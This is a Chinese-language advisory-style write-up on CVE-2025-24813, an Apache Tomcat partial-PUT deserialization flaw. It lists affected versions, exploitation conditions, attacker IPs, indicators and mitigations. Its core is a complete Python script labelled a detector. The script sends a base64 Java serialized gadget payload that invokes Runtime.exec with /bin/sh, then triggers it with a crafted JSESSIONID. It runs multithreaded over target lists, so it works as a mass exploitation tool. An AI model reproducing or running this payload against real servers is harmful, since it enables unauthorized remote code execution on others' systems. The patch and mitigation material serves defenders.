CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE
作者:Factor .Poc作者:iSee857
- [CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE](#CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE)

一、漏洞概述
CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性(Path Equivalence)漏洞,允许未经身份验证的远程攻击者在特定配置下实现远程代码执行(RCE)、读取敏感文件,甚至篡改文件内容。该漏洞已在野外被观察到存在实际利用行为,影响范围广泛。
二、影响版本
- Tomcat 11.0.0-M1 至 11.0.2(修复于 11.0.3)
- Tomcat 10.1.0-M1 至 10.1.34(修复于 10.1.35)
- Tomcat 9.0.0.M1 至 9.0.98(修复于 9.0.99)
- Tomcat 8.5.x(Insikt Group 发现 8.5.0 至 8.5.98 和 8.5.100 也受影响,8.5.99 是唯一不受影响版本)
三、漏洞原理
该漏洞的核心是 Tomcat 对部分 PUT 请求(Partial PUT)和文件路径解析的处理逻辑存在缺陷,攻击者可以通过构造特定请求绕过默认中间件验证机制,从而触发远程代码执行或敏感文件操作。
🎯 利用流程(两步):
- 攻击者构造一个 Base64 编码的 Java 反序列化 Payload ,通过
PUT
请求提交至服务端。 - 随后通过一个附带特制 JSESSIONID 的 GET 请求触发服务器反序列化该 Payload,最终执行任意代码。
四、漏洞利用条件
远程代码执行(RCE)需要满足以下条件:
- 默认 Servlet 具备写权限(默认是关闭的)
- 启用 Partial PUT(默认开启)
- 应用使用基于文件的 Session 持久化,且存储位置为默认目录
- 应用中包含可被反序列化利用的第三方库(如 fastjson, commons-collections 等)
此外,如果配置允许,攻击者还可以:
- 查看敏感安全文件内容
- 注入数据至敏感文件
这些额外风险成立的前提:
- 上传路径在可公开访问目录之下
- 攻击者知道目标上传文件名
- 上传通过 Partial PUT 实现
注:虽然这些条件组合在一起并不常见,但确实存在大量线上实例仍配置为可被利用状态。
五、在野利用情况与威胁分析
🌐 已知恶意攻击者 IP(来自 Greynoise 数据):
恶意IP地址 | 来源地 | 攻击目标国家 |
---|---|---|
203.160.68.24 | 中国香港 | 美国 |
176.65.138.172 | 德国 | 日本、新加坡、印尼、台湾等 |
38.126.114.186 | 美国 | 印度、墨西哥、美国 |
188.213.161.98 | 意大利 | 日本、韩国 |
140.143.182.115 | 中国 | 澳大利亚、墨西哥等 |
196.240.54.120 | 拉脱维亚 | 美国 |
全球范围内,Shodan 扫描数据显示,约有 378,444 台暴露的 Tomcat 实例可能受到影响,主要分布在中国、美国、摩洛哥和巴西等地。
🔍 指纹与攻击迹象(IoC):
- Web 目录中出现未知
.jsp
文件 - Web 日志中存在异常 PUT 请求记录
- 外部 GET/POST 请求访问恶意 JSP
- WAF 报告触发"未授权上传"规则
六、PoC 与复现情况
使用方式:
批量检测支持多线程:
python poc.py -l url.txt -t 5
单个检测:
python poc.py -u your-ip
Poc引用作者:iSee857
引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
Poc复现:
bash
import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutor
COLOR = {
"RED": "\033[91m",
"GREEN": "\033[92m",
"YELLOW": "\033[93m",
"BLUE": "\033[94m",
"PURPLE": "\033[95m",
"CYAN": "\033[96m",
"RESET": "\033[0m"
}
BANNER = rf"""
{COLOR['PURPLE']}
___ _ __ ___ | |_ ___ ___| |_
/ _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | || __/\__ \ |_
\___/| .__/ \___/ \__\___||___/\__|
|_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""
# Payload
PAYLOAD = base64.b64decode(
"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"
)
def print_vulnerable(target):
print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")
print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")
def check_target(target):
try:
host, port = target.split(":")
port = int(port)
except:
print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")
return
base_url = f"http://{host}:{port}"
put_url = f"{base_url}/iSee857/session"
try:
put_response = requests.put(
put_url,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data=PAYLOAD,
verify=False,
timeout=10
)
if put_response.status_code == 409:
get_response = requests.get(
base_url,
headers={"Cookie": "JSESSIONID=.iSee857"},
verify=False,
timeout=10
)
if get_response.status_code == 500:
print_vulnerable(target)
return True
print(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")
return False
except requests.exceptions.RequestException as e:
print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")
return False
except Exception as e:
print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")
return False
def main():
print(BANNER)
parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')
parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')
parser.add_argument('-l', '--list', help='包含多个目标的文件')
parser.add_argument('-t', '--threads', type=int, default=5,
help='并发线程数 (默认: 5)')
args = parser.parse_args()
targets = []
if args.url:
targets.append(args.url)
elif args.list:
try:
with open(args.list, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")
sys.exit(1)
else:
parser.print_help()
sys.exit(1)
print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")
with ThreadPoolExecutor(max_workers=args.threads) as executor:
results = executor.map(check_target, targets)
vulnerable_count = sum(1 for result in results if result)
print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")
if __name__ == "__main__":
main()

七、防护建议
✅ 官方修复版本:
- 升级至:11.0.3 / 10.1.35 / 9.0.99
- 8.5.x 用户建议迁移至受支持分支,避免继续使用 EoL 版本
✅ 临时缓解策略:
-
显式关闭 default servlet 的写权限:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
-
在 Web 应用中禁用 Partial PUT 请求(使用 WAF 拦截或 nginx 过滤)
-
清理 webapps/ROOT/ 路径下的未授权文件
✅ 工具支持:
- Insikt Group 提供 Nuclei 检测模板(可用于批量扫描)
- Recorded Future 提供 ASI 签名规则用于攻击面定位
八、总结
CVE-2025-24813 是一次典型的"路径+反序列化+配置缺陷"复合型漏洞,表面上源于文件路径处理缺陷,实际利用则依赖于多个错误配置的叠加效应。
它提醒我们:边界可信假设失效、中间件权限设置失误、反序列化引擎暴露等老问题,在现代系统中依旧构成致命威胁。
安全不仅仅是打补丁,更是对配置、逻辑与习惯的全面治理。